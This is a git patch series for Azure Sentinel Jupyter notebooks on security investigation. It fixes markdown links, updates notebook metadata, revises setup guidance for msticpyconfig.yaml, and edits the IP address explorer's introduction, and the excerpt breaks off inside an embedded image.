"metadata": {}, "source": [ "### Learn More : \n", - " - The [Infosec Jupyter Book](\"https://infosecjupyterbook.com/\") provides an infosec specific intro to Python.\n", - " - [Real Pyhton](\"https://realpython.com/\") is a comprehensive set of Python learnings and tutorials.\n", + " - The [Infosec Jupyter Book](https://infosecjupyterbook.com/) provides an infosec specific intro to Python.\n", + " - [Real Python](https://realpython.com/) is a comprehensive set of Python learnings and tutorials.\n", "
\n", "
" ] @@ -217,14 +217,14 @@ "\n", "The first is the Workspace ID and Tenant ID of the Azure Sentinel Workspace you wish to connect to.\n", "\n", - " - You can get the workspace ID by opening Azure Sentinel in the [Azure Portal](\"https://portal.azure.com\") and selecting Settings > Workspace Settings. Your Workspace ID is displayed near the top of this page.\n", + " - You can get the workspace ID by opening Azure Sentinel in the [Azure Portal](https://portal.azure.com) and selecting Settings > Workspace Settings. Your Workspace ID is displayed near the top of this page.\n", "\n", - "- You can get your tenant ID (also referred to organization or directory ID) via [Azure Active Directory](\"https://docs.microsoft.com/en-us/onedrive/find-your-office-365-tenant-id\")\n", + "- You can get your tenant ID (also referred to organization or directory ID) via [Azure Active Directory](https://docs.microsoft.com/en-us/onedrive/find-your-office-365-tenant-id)\n", "\n", - "We are going to use [VirusTotal](\"https://www.virustotal.com\") to enrich our Azure Sentinel data. For this you will need a VirusTotal API key, one of these can be obtained for free (as a personnal key) via the [VirusTotal](\"https://developers.virustotal.com/v3.0/reference#getting-started\") website.\n", + "We are going to use [VirusTotal](https://www.virustotal.com) to enrich our Azure Sentinel data. For this you will need a VirusTotal API key, one of these can be obtained for free (as a personnal key) via the [VirusTotal](https://developers.virustotal.com/v3.0/reference#getting-started) website.\n", "We are using VirusTotal for this notebook but we also support a range of other threat intelligence providers: https://msticpy.readthedocs.io/en/latest/data_acquisition/TIProviders.html\n", "

\n", - "In addition we are going to plot IP address locations on a map, in order to do this we are going to use [MaxMind](\"https://www.maxmind.com\") to geolocate IP addresses which requires an API key. You can sign up for a free account and API key at https://www.maxmind.com/en/geolite2/signup. \n", + "In addition we are going to plot IP address locations on a map, in order to do this we are going to use [MaxMind](https://www.maxmind.com) to geolocate IP addresses which requires an API key. You can sign up for a free account and API key at https://www.maxmind.com/en/geolite2/signup. \n", "

\n", "Once you have these required items run the cell below and you will prompted to enter these elements:" ] @@ -315,7 +315,7 @@ "You can use the `QueryProvider` class to connect to different data sources such as MDATP, the Security Graph API, and the one we will use here, Azure Sentinel. \n", "\n", "### Learn more:\n", - " - More details on configuring and using QueryProviders can be found in the [MSTICpy Documentation](\"https://msticpy.readthedocs.io/en/latest/data_acquisition/DataProviders.html#instantiating-a-query-provider\").\n", + " - More details on configuring and using QueryProviders can be found in the [MSTICpy Documentation](https://msticpy.readthedocs.io/en/latest/data_acquisition/DataProviders.html#instantiating-a-query-provider).\n", "

" ] }, @@ -323,7 +323,7 @@ "cell_type": "markdown", "metadata": {}, "source": [ - "For now, we are going to set up a QueryProvider for Azure Sentinel, pass it the details for our workspace that we just stored in the msticpyconfig file, and connect. The connection process will ask us to authenticate to our Azure Sentinel workspace via [device authorization](\"https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-device-code\") with our Azure credentials. You can do this by clicking the device login code button that appears as the output of the next cell, or by navigating to https://microsoft.com/devicelogin and manually entering the code. Note that this authentication persists with the kernel you are using with the notebook, so if you restart the kernel you will need to re-authenticate.\n" + "For now, we are going to set up a QueryProvider for Azure Sentinel, pass it the details for our workspace that we just stored in the msticpyconfig file, and connect. The connection process will ask us to authenticate to our Azure Sentinel workspace via [device authorization](https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-device-code) with our Azure credentials. You can do this by clicking the device login code button that appears as the output of the next cell, or by navigating to https://microsoft.com/devicelogin and manually entering the code. Note that this authentication persists with the kernel you are using with the notebook, so if you restart the kernel you will need to re-authenticate.\n" ] }, { @@ -422,13 +422,18 @@ "cell_type": "markdown", "metadata": {}, "source": [ - "Another way to run queries is to pass a string format of a KQL query to the query provider, this will run the query against the workspace connected to above, and will return the data in a [Pandas DataFrame](\"https://pandas.pydata.org/\"). We will look at working with Pandas in a bit more detail later." + "Another way to run queries is to pass a string format of a KQL query to the query provider, this will run the query against the workspace connected to above, and will return the data in a [Pandas DataFrame](https://pandas.pydata.org/). We will look at working with Pandas in a bit more detail later." ] }, { "cell_type": "code", "execution_count": null, - "metadata": {}, + "metadata": { + "ExecuteTime": { + "end_time": "2020-06-26T19:27:44.779558Z", + "start_time": "2020-06-26T19:27:44.569079Z" + } + }, "outputs": [], "source": [ "# Define our query\n", @@ -458,7 +463,7 @@ "metadata": {}, "source": [ "### Learn more:\n", - " - You can learn more about the MSTICpy pre-defined queries in the [MSTICpy Documentation](\"https://msticpy.readthedocs.io/en/latest/data_acquisition/DataProviders.html#running-an-pre-defined-queryl\")" + " - You can learn more about the MSTICpy pre-defined queries in the [MSTICpy Documentation](https://msticpy.readthedocs.io/en/latest/data_acquisition/DataProviders.html#running-an-pre-defined-query)" ] }, { @@ -595,9 +600,9 @@ "source": [ "### Learn more:\n", "There is a lot more you can do with Pandas, the links below provide some useful resources:\n", - " - [Getting starting with Pandas](\"https://pandas.pydata.org/pandas-docs/stable/getting_started/index.html\")\n", - " - [Infosec Jupyerbook intro to Pandas](\"https://infosecjupyterbook.com/notebooks/tutorials/03_intro_to_pandas.html\")\n", - " - [A great list of Pandas hints and tricks](\"https://www.dataschool.io/python-pandas-tips-and-tricks/\")" + " - [Getting starting with Pandas](https://pandas.pydata.org/pandas-docs/stable/getting_started/index.html)\n", + " - [Infosec Jupyerbook intro to Pandas](https://infosecjupyterbook.com/notebooks/tutorials/03_intro_to_pandas.html)\n", + " - [A great list of Pandas hints and tricks](https://www.dataschool.io/python-pandas-tips-and-tricks/)" ] }, { @@ -607,7 +612,7 @@ "---\n", "## Enriching data\n", "\n", - "Now that we have seen how to query for data, and do some basic manipulation we can look at enriching this data with additional data sources. For this we are going to use an external threat intelligence provider to give us some more details about an IP address we have in our dataset using the [MSTICpy TIProvider](\"https://msticpy.readthedocs.io/en/latest/data_acquisition/TIProviders.html\") feature." + "Now that we have seen how to query for data, and do some basic manipulation we can look at enriching this data with additional data sources. For this we are going to use an external threat intelligence provider to give us some more details about an IP address we have in our dataset using the [MSTICpy TIProvider](https://msticpy.readthedocs.io/en/latest/data_acquisition/TIProviders.html) feature." ] }, { @@ -642,7 +647,7 @@ "cell_type": "markdown", "metadata": {}, "source": [ - "Using the [Pandas apply()](\"https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.apply.html\") feature we can get results for all the IP addresses in our data set and add the lookup severity score as a new column in our DataFrame for easier reference." + "Using the [Pandas apply()](https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.apply.html) feature we can get results for all the IP addresses in our data set and add the lookup severity score as a new column in our DataFrame for easier reference." ] }, { @@ -671,7 +676,7 @@ "metadata": {}, "source": [ "### Learn more:\n", - "MSTICpy includes further threat intelligence capabilities as well as other data enrichment options. More details on these can be found in the [documentation](\"https://msticpy.readthedocs.io/en/latest/DataEnrichment.html\")." + "MSTICpy includes further threat intelligence capabilities as well as other data enrichment options. More details on these can be found in the [documentation](https://msticpy.readthedocs.io/en/latest/DataEnrichment.html)." ] }, { @@ -728,8 +733,8 @@ "source": [ "### Learn more:\n", "There are a wide range of options when it comes to data analysis in notebooks using Python. Here are some useful resources to get you started:\n", - " - [MSITCpy DataAnalysis documentation](\"https://msticpy.readthedocs.io/en/latest/DataAnalysis.html\")\n", - " - Scikit-Learn is a popular Python ML data analysis library, which has a useful [tutorial](\"https://scikit-learn.org/stable/tutorial/basic/tutorial.html\")" + " - [MSITCpy DataAnalysis documentation](https://msticpy.readthedocs.io/en/latest/DataAnalysis.html)\n", + " - Scikit-Learn is a popular Python ML data analysis library, which has a useful [tutorial](https://scikit-learn.org/stable/tutorial/basic/tutorial.html)" ] }, { @@ -784,7 +789,7 @@ "cell_type": "markdown", "metadata": {}, "source": [ - "[Bokeh](\"https://bokeh.org/\") is a powerful visualization library that allows you to create complex, interactive visualizations. MSTICpy includes a number of pre-built visualizations using Bokeh including a timeline feature that can be used to represent events over time. You can interact with the timeline by zooming and panning, using the range selector, as well as hovering over data points to see more details." + "[Bokeh](https://bokeh.org/) is a powerful visualization library that allows you to create complex, interactive visualizations. MSTICpy includes a number of pre-built visualizations using Bokeh including a timeline feature that can be used to represent events over time. You can interact with the timeline by zooming and panning, using the range selector, as well as hovering over data points to see more details." ] }, { @@ -841,10 +846,10 @@ "metadata": {}, "source": [ "### Learn more:\n", - " - The [Infosec Jupyterbook](\"https://infosecjupyterbook.com/\") includes a section on data visualization.\n", - " - [Bokeh Library Documentation](\"https://bokeh.org/\")\n", - " - [Matplotlib tutorial](\"https://matplotlib.org/3.2.0/tutorials/index.html\")\n", - " - [Seaborn visualization library tutorial](\"https://seaborn.pydata.org/tutorial.html\")" + " - The [Infosec Jupyterbook](https://infosecjupyterbook.com/) includes a section on data visualization.\n", + " - [Bokeh Library Documentation](https://bokeh.org/)\n", + " - [Matplotlib tutorial](https://matplotlib.org/3.2.0/tutorials/index.html)\n", + " - [Seaborn visualization library tutorial](https://seaborn.pydata.org/tutorial.html)" ] }, { @@ -855,31 +860,25 @@ "## Conclusion\n", "This notebook has showed you the basics of using notebooks and Azure Sentinel for security investigaitons. There are many more things possible using notebooks and it is stronly encouraged to read the material we have referenced in the learn more sections in this notebook. You can also explore the other Azure Sentinel notebooks in order to take advantage of the pre-built hunting logic, and understand other analysis techniques that are possible.
\n", "### Appendix:\n", - " - [Jupyter Notebooks: An Introduction](\"https://realpython.com/jupyter-notebook-introduction/\")\n", - " - [Threat Hunting in the cloud with Azure Notebooks](\"https://medium.com/@maarten.goet/threat-hunting-in-the-cloud-with-azure-notebooks-supercharge-your-hunting-skills-using-jupyter-8d69218e7ca0\")\n", - " - [MSTICpy documentation](\"https://msticpy.readthedocs.io/\")\n", - " - [Azure Sentinel Notebooks documentation](\"https://docs.microsoft.com/en-us/azure/sentinel/notebooks\")\n", - " - [The Infosec Jupyterbook](\"https://infosecjupyterbook.com/introduction.html\")\n", - " - [Linux Host Explorer Notebook walkthrough](\"https://techcommunity.microsoft.com/t5/azure-sentinel/explorer-notebook-series-the-linux-host-explorer/ba-p/1138273\")\n", - " - [Why use Jupyter for Security Investigations](\"https://techcommunity.microsoft.com/t5/azure-sentinel/why-use-jupyter-for-security-investigations/ba-p/475729\")\n", - " - [Security Investigtions with Azure Sentinel & Notebooks](\"https://techcommunity.microsoft.com/t5/azure-sentinel/security-investigation-with-azure-sentinel-and-jupyter-notebooks/ba-p/432921\")\n", - " - [Pandas Documentation](\"https://pandas.pydata.org/pandas-docs/stable/user_guide/index.html\")\n", - " - [Bokeh Documentation](\"https://docs.bokeh.org/en/latest/\")" + " - [Jupyter Notebooks: An Introduction](https://realpython.com/jupyter-notebook-introduction/)\n", + " - [Threat Hunting in the cloud with Azure Notebooks](https://medium.com/@maarten.goet/threat-hunting-in-the-cloud-with-azure-notebooks-supercharge-your-hunting-skills-using-jupyter-8d69218e7ca0)\n", + " - [MSTICpy documentation](https://msticpy.readthedocs.io/)\n", + " - [Azure Sentinel Notebooks documentation](https://docs.microsoft.com/en-us/azure/sentinel/notebooks)\n", + " - [The Infosec Jupyterbook](https://infosecjupyterbook.com/introduction.html)\n", + " - [Linux Host Explorer Notebook walkthrough](https://techcommunity.microsoft.com/t5/azure-sentinel/explorer-notebook-series-the-linux-host-explorer/ba-p/1138273)\n", + " - [Why use Jupyter for Security Investigations](https://techcommunity.microsoft.com/t5/azure-sentinel/why-use-jupyter-for-security-investigations/ba-p/475729)\n", + " - [Security Investigtions with Azure Sentinel & Notebooks](https://techcommunity.microsoft.com/t5/azure-sentinel/security-investigation-with-azure-sentinel-and-jupyter-notebooks/ba-p/432921)\n", + " - [Pandas Documentation](https://pandas.pydata.org/pandas-docs/stable/user_guide/index.html)\n", + " - [Bokeh Documentation](https://docs.bokeh.org/en/latest/)" ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [] } ], "metadata": { + "hide_input": false, "kernelspec": { - "display_name": "Python 3.6", + "display_name": "Python 3", "language": "python", - "name": "python36" + "name": "python3" }, "language_info": { "codemirror_mode": { @@ -891,7 +890,49 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.8.3" + "version": "3.7.6" + }, + "toc": { + "base_numbering": 1, + "nav_menu": {}, + "number_sections": true, + "sideBar": true, + "skip_h1_title": false, + "title_cell": "Table of Contents", + "title_sidebar": "Contents", + "toc_cell": false, + "toc_position": {}, + "toc_section_display": true, + "toc_window_display": false + }, + "varInspector": { + "cols": { + "lenName": 16, + "lenType": 16, + "lenVar": 40 + }, + "kernels_config": { + "python": { + "delete_cmd_postfix": "", + "delete_cmd_prefix": "del ", + "library": "var_list.py", + "varRefreshCmd": "print(var_dic_list())" + }, + "r": { + "delete_cmd_postfix": ") ", + "delete_cmd_prefix": "rm(", + "library": "var_list.r", + "varRefreshCmd": "cat(var_dic_list()) " + } + }, + "types_to_exclude": [ + "module", + "function", + "builtin_function_or_method", + "instance", + "_Feature" + ], + "window_display": false }, "widgets": { "application/vnd.jupyter.widget-state+json": { From 1a536e2ba0f9ec6ee872bde682407b3c9dd4725c Mon Sep 17 00:00:00 2001 From: Ian Hellen Date: Fri, 26 Jun 2020 12:50:44 -0700 Subject: [PATCH 13/23] Updated guidance on msticpyconfig.yaml in ConfiguringNotebookEnvironment --- ConfiguringNotebookEnvironment.ipynb | 27 +++++++++++++++++++-------- 1 file changed, 19 insertions(+), 8 deletions(-) diff --git a/ConfiguringNotebookEnvironment.ipynb b/ConfiguringNotebookEnvironment.ipynb index b99bf109..b8a3fc55 100644 --- a/ConfiguringNotebookEnvironment.ipynb +++ b/ConfiguringNotebookEnvironment.ipynb @@ -354,17 +354,29 @@ "metadata": {}, "source": [ "### Create a new `msticpyconfig.yaml`\n", - "If you need to create a msticpyconfig from scratch, edit the cell below uncommenting the sections you need and adding the correct values.\n", + "If you need to create a msticpyconfig from scratch, edit the cell below:\n", + "1. Uncommenting the first line to enable the %%writefile magic instruction\n", + "2. Edit sections you need and adding the correct values.\n", + "3. Delete the other sections or leave commented out\n", "\n", + "\n", + "Guidelines:\n", "- Usually you will only need the `default` workspace in the `AzureSentinel/Workspaces` section\n", "- You can add TI Provider auth/API keys to the relevant sections (either as text or\n", - " stored in an environment variable)\n", + " stored in an environment variable - the OTX entry shows the former and the XForce entry\n", + " shows an example of the latter syntax)\n", "- Delete the providers/sections that you do not need.\n", "- Usually one or more TI providers and one GeoIP provider will be needed for most notebooks\n", - "\n", - ">

** WARNING **

\n", - "> Executing the following cell will overwrite the contents of the cell to any existing\n", - "> `msticpyconfig.yaml`.\n", + "- For a single string (e.g. API key) it does not matter whether the string is quoted or not\n", + "- For TI Providers, setting `Primary: True` means that the provider will be used in the\n", + " default set of providers every time you do a TI Lookup.\n", + "\n", + ">

** WARNING **

\n", + "> Executing the following cell will write the contents of the cell to any existing\n", + "> `msticpyconfig.yaml` in the current folder, overwriting any settings that you have\n", + "> in there.\n", + "> If you have a current msticpyconfig.yaml, go to the next cell to read in this file\n", + "> and edit this with your settings.\n", ">

Do not run this cell if you have existing configuration settings!

" ] }, @@ -374,7 +386,7 @@ "metadata": {}, "outputs": [], "source": [ - "%%writefile msticpyconfig.yaml\n", + "#%%writefile msticpyconfig.yaml\n", "\n", "AzureSentinel:\n", " #Workspaces:\n", @@ -482,7 +494,6 @@ "hide_input": false, "history": [], "kernelspec": { - "name": "Python 3.6", "language": "python", "name": "python36" }, From ffdbd3b0051aad75984732eda637f8af035a8d2c Mon Sep 17 00:00:00 2001 From: Ashwin Patil Date: Fri, 26 Jun 2020 20:51:42 +0000 Subject: [PATCH 14/23] markdown content and image changes for IPexplorer --- Entity Explorer - IP Address.ipynb | 80 ++++++++++++++--------------- images/nb_ipexplorer-mindmap.png | Bin 0 -> 197559 bytes 2 files changed, 40 insertions(+), 40 deletions(-) create mode 100644 images/nb_ipexplorer-mindmap.png diff --git a/Entity Explorer - IP Address.ipynb b/Entity Explorer - IP Address.ipynb index a6470e2e..b315370f 100644 --- a/Entity Explorer - IP Address.ipynb +++ b/Entity Explorer - IP Address.ipynb @@ -32,7 +32,8 @@ "\n", "\n", "Brings together a series of queries and visualizations to help you assess the security state of an IP address. It works with both internal addresses and public addresses. \n", - "
For internal addresses it focuses on traffic patterns and behavior of the host using that IP address. For public IPs it lets you perform threat intelligence lookups, passive dns, whois and other checks. \n", + "
For internal addresses it focuses on traffic patterns and behavior of the host using that IP address. \n", + "
For public IPs it lets you perform threat intelligence lookups, passive dns, whois and other checks. \n", "
It also allows you to examine any network traffic between the external IP address and your resources." ] }, @@ -43,7 +44,7 @@ }, "source": [ "

Table of Contents

\n", - "
" + "
" ] }, { @@ -52,17 +53,11 @@ "source": [ "[Contents](#toc)\n", "## Hunting Hypothesis\n", - "Our broad initial hunting hypothesis is that a we have received IP address entity which is suspected to be compromized internal host or external public address to whom internal hosts are communicating in malicious manner, we will need to hunt from a range of different positions to validate or disprove this hypothesis.\n", - "\n", - "Before you start hunting please run the cells in Setup at the bottom of this Notebook." + "Our broad initial hunting hypothesis is that a we have received IP address entity which is suspected to be compromized internal host or external public address to whom internal hosts are communicating in malicious manner, we will need to hunt from a range of different positions to validate or disprove this hypothesis.\n" ] }, { - "attachments": { - "ipexplorer-mindmapv2.PNG": { - "image/png": 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